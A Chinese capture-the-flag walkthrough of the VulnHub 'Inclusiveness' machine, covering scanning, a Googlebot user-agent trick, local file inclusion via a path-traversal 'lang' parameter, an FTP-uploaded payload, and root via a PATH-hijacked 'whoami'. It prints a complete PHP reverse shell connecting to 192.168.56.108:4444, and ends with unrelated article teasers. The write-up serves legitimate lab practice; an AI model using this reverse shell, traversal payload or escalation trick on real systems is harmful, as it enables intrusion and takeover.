实战打靶集锦-38-inclusiveness
文章目录
- 1. 主机发现
- 2. 端口扫描&服务枚举
- 3. 服务探查
- 4.系统提权
靶机地址:https://download.vulnhub.com/inclusiveness/Inclusiveness.ova
1. 主机发现
目前只知道目标靶机在192.168.56.xx网段,通过如下的命令,看看这个网段上在线的主机。
$ nmap -sP 192.168.56.0/24

锁定靶机IP地址为192.168.56.111。
2. 端口扫描&服务枚举
通过下面的命令进行端口扫描。
$ sudo nmap -p- 192.168.56.111

开了ftp、ssh、http,枚举一下服务。
$ sudo nmap -p21,22,80 -A -sT -sV 192.168.56.111

显示的信息不算惊艳,也不算太少。
3. 服务探查
首先看看ftp下有些啥。
$ ftp 192.168.56.111

root用户不好使,不过anonymous用户和空密码顺利进入,看看都有些啥。

可惜的是除了一个名为pub的空目录,其它啥都没有,先放一边。然后浏览器看一下http服务。

又是apache的首页,还是扫描一下(我觉得以后都可以直接扫描了)。

我们先看看robots.txt。

没啥内容,不过这个提示语可能有用,暂时不知道这里的搜索引擎指的是啥。看看另一个robots.txt页面。

这么多的robots相关的,内容是一样的。dirb挂上big字典搜索一下。

分别由发现了一个php页面,三个html页面,不过进去后没啥新发现。到目前为止,没有啥进展。目前来看有两种可能性,第一是vsftpd 3.0.3版本上是否由漏洞,能够突破进入root用户发现一些内容;第二就是还有些页面我们并没有扫描出来。先看看vsftpd。

没有合适的漏洞,看来只有可能再次扫描了,可是用尽了各种扫描手法,都没有新的发现。再想想那句话,搜索引擎到底是啥呢,不经意间,在/manual/index.html页面发现了google。

可是,当输入关键字robots进行搜索的时候,是指向google的,我们临时在hosts文件中将google指向靶机地址试试看。

这时候直接not found了,这条路也堵死了。我们前面扫描了php、html,有没有可能是类似robots的txt页面呢?又或者htm页面,或者shtm等?直接试试吧,把我能想到的类型都放进去(黔驴技穷了)。
$ dirb http://192.168.56.111 /usr/share/wordlists/dirb/big.txt -X .txt,.htm,.shtml,.shtm,.js,.sh,.c,.py

还真是不少,以后长见识了,搜文件的时候多加几个后缀,速度一点都不会影响多少。不过里面的内容一点都没变,跟之前robots.txt中的一样:You are not a search engine! You can’t read my robots.txt!。这句话仔细品品,我们之前的访问都是通过浏览器访问的,可能导致了靶机认为我不是搜索引擎,只有所有引擎才可以读取robots的内容。我们得想办法让靶机认为我们是搜索引擎,先分析一下我们请求robots.txt的时候burp上抓的流量。

感觉应该是user agent来决定的。直接搜索各大搜索引擎的UA信息,搜到了一篇比较有价值的文章(https://blog.csdn.net/YLBF_DEV/article/details/136656278),感谢YLBF_DEV大佬。直接用bing和google试一下。

Bing貌似没有成功,再试试google。

也没有成功,直接用curl命令指定user agent试试看。
$ curl -A "bingbot" http://192.168.56.111/robots.txt
$ curl -A "Googlebot" http://192.168.56.111/robots.txt

用google是可以的,先看看这个secret_information下面是些什么。

有两个超链接,点击看看,没啥特别的,只是语言切换,没有特别发现,挂上burp试试看。

还是有所发现的,根据之前的经验,直接引用文件,是可能存在本地文件包含的漏洞的,直接将es.php替换成./…/…/…/…/…/…/…/…/…/…/…/etc/passwd,看是否可以打印靶机的passwd文件内容。

确实可以,一方面验证了文件包含漏洞,另一方面发现了可以shell登录的用户tom。
再回过头来分析,这里虽然可以包含文件,但是目前还没有发现网页上哪里可以上传文件。考虑我们前面发现的FTP,看看是不是anonymous用户可以上传文件。

这里做了一个名为myfile的文件,里面的内容如上图所示。通过anonymous用户上传到ftp。

貌似没法上传啊,看看能不能抓到vsftp的配置文件吧,一般为/etc/vsftpd.conf,试试看。

太好了,这里发现了匿名用户上传文件的路径为/var/ftp,如下图。

再上传一下试试看。

上传成功了,看来根目录不能上传,只能上传到pub目录下。这样一来,我们就知道了文件的路径为/var/ftp/pub/,访问一下看看:
http://192.168.56.111/secret_information/?lang=../../../../../../../../../../../../var/ftp/pub/myfile

顺利获取到了我们的文件,这样我们上传一个反弹shell的php文件,内容这里就不说了,一会儿上代码。

这次执行,没有response,不过后台执行了php脚本,成功建立了反弹shell,如下图。

到此为止,顺利进入了靶机,上传一下php脚本的源代码。
<?phpset_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.56.108'; // CHANGE THIS
$port = 4444; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;if (function_exists('pcntl_fork')) {// Fork and have the parent process exit$pid = pcntl_fork();if ($pid == -1) {printit("ERROR: Can't fork");exit(1);}if ($pid) {exit(0); // Parent exits}// Make the current process a session leader// Will only succeed if we forkedif (posix_setsid() == -1) {printit("Error: Can't setsid()");exit(1);}$daemon = 1;
} else {printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}// Change to a safe directory
chdir("/");// Remove any umask we inherited
umask(0);//
// Do the reverse shell...
//// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {printit("$errstr ($errno)");exit(1);
}// Spawn shell process
$descriptorspec = array(0 => array("pipe", "r"), // stdin is a pipe that the child will read from1 => array("pipe", "w"), // stdout is a pipe that the child will write to2 => array("pipe", "w") // stderr is a pipe that the child will write to
);$process = proc_open($shell, $descriptorspec, $pipes);if (!is_resource($process)) {printit("ERROR: Can't spawn shell");exit(1);
}// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);printit("Successfully opened reverse shell to $ip:$port");while (1) {// Check for end of TCP connectionif (feof($sock)) {printit("ERROR: Shell connection terminated");break;}// Check for end of STDOUTif (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}// Wait until a command is end down $sock, or some// command output is available on STDOUT or STDERR$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);// If we can read from the TCP socket, send// data to process's STDINif (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");fwrite($pipes[0], $input);}// If we can read from the process's STDOUT// send data down tcp connectionif (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}// If we can read from the process's STDERR// send data down tcp connectionif (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");$input = fread($pipes[2], $chunk_size);if ($debug) printit("STDERR: $input");fwrite($sock, $input);}
}fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {if (!$daemon) {print "$string\n";}
}?>
4.系统提权
先用python优化一下shell
$ /usr/bin/python3.7 -c "import pty; pty.spawn('/bin/bash')"

获取一下系统信息。

64位的debian10,内核版本4.19.67。直接上传并运行一下linpeas脚本。
首先有个PwnKit的提权漏洞。

直接编译上传试用一下。

提权失败。其次是发现了两个Unknown SUID binary,如下图。

我们研究这两个SUID的。首先第一个,需要密码,并且也不太会用。

第二个比较有意思,不仅有rootshell的可执行文件,还有源代码rootshell.c,看是否能够看到内容,估计是要切换到tom用户才可以。

确实可以在当前用户下可以看到源代码。逻辑倒是不复杂,不过确实上来先判断是否为tom用户,如果是tom,就可以赋予root。接下来要想办法切换到tom用户。先用弱密码试试,不行爆破。

可惜爆破了一个小时也没结果,隐隐感觉前面的rootshell里面还隐藏着一些没有意识到的东西,否则出现这个源代码就失去了靶机的尿性。
这个代码里面,判断是否为tom是基于whoami的输出。那有没有可能让whoami造假呢?上网搜一下怎么改写或者替换whoami程序。Kimi给了两种方式,第一种使用别名的方式,可以让whoami的输出变化,如下图。

我们试一下。
www-data@inclusiveness:/tmp$ alias whoami='echo "tom"'

哈哈,whoami的输出成功边程了tom,这时候我们回来运行一下那个rootshell程序。

呀,不能用sudo执行,直接执行试试看。

嗯,确实可以直接执行,不过虽然打印出来是tom,但是执行程序的时候,还是返回了www-data。看看kimi给的另一种办法。

因为当前用户没有sudo权限,我们在/tmp下创建一个whoami,内容如下。
然后赋予可执行权限。
www-data@inclusiveness:/tmp$ chmod u+x whoami
执行一下试试看。

嗯,可以输出tom了,接下来,要让环境变量指向我们的whoami,先看看当前的whoami和当前的环境变量内容。

临时修改一下环境变量,并测试一下。
www-data@inclusiveness:/tmp$ export PATH=/tmp:$PATH

再运行一下rootshell。

这次貌似提权成功了,验证一下,并获取flag。

确认提权成功,到此结束。
相关文章:
实战打靶集锦-38-inclusiveness
文章目录 1. 主机发现2. 端口扫描&服务枚举3. 服务探查4.系统提权 靶机地址:https://download.vulnhub.com/inclusiveness/Inclusiveness.ova 1. 主机发现 目前只知道目标靶机在192.168.56.xx网段,通过如下的命令,看看这个网段上在线的主…...
JVM 学习计划表(2025 版)
JVM 学习计划表(2025 版) 📚 基础阶段(2 周) 1. JVM 核心概念 JVM 作用与体系结构 理解 JVM 在 Java 跨平台运行中的核心作用,掌握类加载子系统、运行时数据区、执行引擎的交互流程内存结构与数据存…...
Unhandled exception: org.apache.poi.openxml4j.exceptions.InvalidFormatException
代码在main方法里面没有报错,在Controller里面就报错了。 原来Controller类里面少了行代码 import org.apache.poi.openxml4j.exceptions.InvalidFormatException; 加上去就解决了。...
Java的Selenium元素定位-xpath
xpath其实就是一个path(路径),一个描述页面元素位置信息的路径,相当于元素的坐标xpath基于XML文档树状结构,是XML路径语言,用来查询xml文档中的节点。 绝对定位 从根开始找--/(根目录)/html/body/div[2]/div/form/div[5]/button缺…...
【QT】Qt5 QtWebEngine使用教程
目录 1、QtWebEngine相比于QtWebKit的优势2、项目配置2.1 确认 Qt 版本2.2 在.pro 文件中添加依赖3、显示网页4、实现Qt和网页JavaScript之间的交互4.1 Qt执行网页的JavaScript代码4.2 JavaScript调用Qt对象的函数QtWebEngine 是 Qt 框架中用于在应用程序中嵌入 Web 内容的模块…...
python基础-13-处理excel电子表格
文章目录 【README】【13】处理Excel电子表格【13.1】Excel文档【13.2】安装openpyxl模块【13.3】读取Excel文档【13.3.1】使用openpyxl模块打开excel文档【13.3.2】从工作簿取得工作表【13.3.3】从工作表sheet获取单元格cell【13.3.5】从表中获取行和列【13.3.6】工作簿、工作…...
03.unity开发资源 获取
03.unity开发资源 获取 提示:帮帮志会陆续更新非常多的IT技术知识,希望分享的内容对您有用。本章分享的是Python基础语法。前后每一小节的内容是存在的有:学习and理解的关联性,希望对您有用~ unity简介-unity基础 第三节 …...
设计模式简述(四)模板方法模式
模板方法模式 描述基本定义使用 描述 当一系列业务的基本流程是相同的,对于不同的业务可以在各自子类实现 所谓模板方法指的就是父类中固定的那部分代码 其实这里的思想和前面设计原则中开闭原则的描述是一致的,父类中的模板代码就是稳定的部分&#x…...
OpenCV界面编程
《OpenCV计算机视觉开发实践:基于Python(人工智能技术丛书)》(朱文伟,李建英)【摘要 书评 试读】- 京东图书 OpenCV的Python开发环境搭建(Windows)-CSDN博客 OpenCV也支持有限的界面编程,主要是针对窗口、控件和鼠标…...
【leetcode】记录与查找:哈希表的题型分析
前言 🌟🌟本期讲解关于力扣的几篇题解的详细介绍~~~ 🌈感兴趣的小伙伴看一看小编主页:GGBondlctrl-CSDN博客 🔥 你的点赞就是小编不断更新的最大动力 🎆那么废话不…...
AntDesign下,Select内嵌Menu标签,做一个多选下拉框,既可以搜索,还可以选择下拉项
话不多说,直接上效果和代码 效果图一: 效果图二: renderAddStyleOption (item: any) > {const { value } this.props;const { currentSelectedOptionIds, currentStyleId } this.state;const styleSettings value?.styleSettings;c…...
css炫酷的3D水波纹文字效果实现详解
炫酷的3D水波纹文字效果实现详解 这里写目录标题 炫酷的3D水波纹文字效果实现详解项目概述技术栈核心实现1. 基础布局2. 渐变背景3. 文字效果实现3.1 基础样式3.2 文字漂浮动画 4. 水波纹效果4.1 模糊效果4.2 水波动画 5. 交互效果 技术要点项目难点与解决方案总结 项目概述 在…...
P1036 [NOIP 2002 普及组] 选数(DFS)
题目描述 已知 n 个整数 x1,x2,⋯,xn,以及 1 个整数 k(k<n)。从 n 个整数中任选 k 个整数相加,可分别得到一系列的和。例如当 n4,k3,4 个整数分别为 3,7,12,19 时,可得全部的组合与它…...
PyTorch中.pth文件的解析及应用
文章目录 一、.pth文件简介二、如何保存.pth文件三、如何加载.pth文件跨硬件加载加载后操作 四、.pth文件的结构与内容解析.pth文件示例 五、.pth文件的优缺点优点缺点 六、常见应用场景七、模型文件体积优化技巧问题背景解决方案效果对比 八、总结九、参考 一、.pth文件简介 …...
【doris】在线事务处理
目录 1. 说明2. 特点3. 应用场景4. 技术实现5. OLTP 与 OLAP 的对比6. 挑战7. 发展趋势 1. 说明 1.OLTP(Online Transaction Processing,在线事务处理) 是一种用于处理大量日常事务操作的数据库系统类型。2.它主要面向实时性要求高、数据操作…...
后端思维之高并发处理方案
前言 在互联网时代,高并发已经成为后端开发者绕不开的话题。无论是电商平台的秒杀活动、抢购系统,还是社交应用的高频互动,高并发场景的出现往往伴随着巨大的技术挑战。 如何在流量激增的同时,确保系统稳定运行、快速响应…...
OpenCV 图形API(10)用于执行标量除以矩阵的逐元素操作函数divRC()
操作系统:ubuntu22.04 OpenCV版本:OpenCV4.9 IDE:Visual Studio Code 编程语言:C11 描述 标量除以矩阵。 函数 divRC 将给定的标量除以矩阵 src 的每个元素,并将结果保存在与 src 具有相同大小和类型的新的矩阵中: …...
14.2linux中platform无设备树情况下驱动LED灯(详细编写程序)_csdn
我尽量讲的更详细,为了关注我的粉丝!!! 因为这跟之前的不一样,提出来驱动的分离和分层。 提到驱动分离和分层,必然可以联系上一章咱们知道的驱动-总线-设备。 在无设备树的状态下,必然要写寄存…...
K8s的BackUP备份
文章目录 1、kubeadm 安装的单 master 节点数据备份和恢复方式2、Velero 工具3、Velero 服务部署4、备份还原数据 ETCD备份/还原有多种类型,取决于你 k8s 集群的搭建方式 1、kubeadm 安装的单 master 节点数据备份和恢复方式 拷贝 etcdctl 至 master 节点…...
Ruoyi-vue plus 5.2.2 flowble设计流程点击开始流程图错误
网关设置条件或者是事件删除后出现,点击网关节点无法找到下面的事件节点。 配置页面事件错误,点背景配置进去了事件,发现再次加载,或者删除的时候VUE页面无法加载。 解决方式:查看XML文件,这个节点是否存在…...
如何快速入门物联网单片机开发?
背景 物联网单片机硬件开发涉及多个阶段,元器件是否“自己设计”取决于具体需求。以下是详细解答和学习方案: 一、元器件是否自己设计? 通用元器件: 大多数情况下,开发者直接使用现成的标准化元器件(如电阻…...
在 .NET 8 中使用自定义令牌身份验证掌握 SignalR Hub 安全性
最近在练习做一个 Web 开发项目,需要使用 WebSockets 传输数据,实现实时通信。这是一个 React.js 项目,后端是 .NET。 虽然 MSDN 提供了出色的顶级文档,但它通常缺少高级用例所需的低级细节。 一种这样的场景是使用自定义令牌对…...
《SQL赋能人工智能:解锁特征工程的隐秘力量》
在当今的科技发展进程中,人工智能(AI)已经成为推动各领域变革的核心驱动力。而在人工智能的庞大体系里,特征工程占据着举足轻重的地位,它是将原始数据转化为能够让模型有效学习的特征的关键环节。鲜有人深入探讨的是&a…...
基于springboot+vue的二手车交易系统
开发语言:Java框架:springbootJDK版本:JDK1.8服务器:tomcat7数据库:mysql 5.7(一定要5.7版本)数据库工具:Navicat11开发软件:eclipse/myeclipse/ideaMaven包:…...
React安装使用教程
ReactAnt Designrouteraxios安装完整教程 官网:React Native 中文网 使用React来编写原生应用的框架 一,安装 npx create-react-app my-app npm start npm eject 暴露项目优先提交代码 git add . git commit -m “搭建项目“ 4.yarn add node-sass …...
Day20 -自动化信息收集工具--ARL灯塔的部署
准备: 纯净的Docker环境 ARL的包 一、Docker的部署 00x1 更新系统包 sudo apt update 00x2 安装必要的依赖包 sudo apt install -y apt-transport-https ca-certificates curl software-properties-common 00x3 下载docker和docker-compose apt-get install do…...
高级:分布式系统面试题精讲
一、引言 分布式系统在现代软件开发中占据重要地位,其设计和实现需要考虑多个关键因素。面试官通过相关问题,考察候选人对分布式系统核心概念的理解、实际应用能力以及在复杂场景下的问题解决能力。本文将深入分析分布式系统的CAP定理、一致性协议、分布…...
Java 实现冒泡排序:[通俗易懂的排序算法系列之二]
引言 大家好!欢迎来到我的排序算法系列第二篇。今天,我们将学习另一种非常基础且广为人知的排序算法——冒泡排序 (Bubble Sort)。 冒泡排序的名字非常形象,它模拟了水中气泡上升的过程:较小(或较大)的元素会像气泡一样,通过不断交换,逐渐“浮”到数组的一端。 什么是…...
精品可编辑PPT | “新基建”在数字化智慧高速公路中的支撑应用方案智慧建筑智慧交通解决方案施工行业解决方案
本文详细阐述了“新基建”在数字化智慧高速公路中的支撑应用方案,从政策背景出发,指出国家在交通领域的一系列发展规划和指导意见,强调了智慧交通建设的重要性。分析了当前高速公路存在的问题,如基础感知设施不足、协同水平低、服…...
【瑞萨 RA-Eco-RA2E1-48PIN-V1.0 开发板测评】PWM
【瑞萨 RA-Eco-RA2E1-48PIN-V1.0 开发板测评】PWM 本文介绍了瑞萨 RA2E1 开发板使用内置时钟和定时器实现 PWM 输出以及呼吸灯的项目设计。 项目介绍 介绍了 PWM 和 RA2E1 的 PWM 资源。 PWM 脉冲宽度调制(Pulse Width Modulation, PWM)是一种对模拟…...
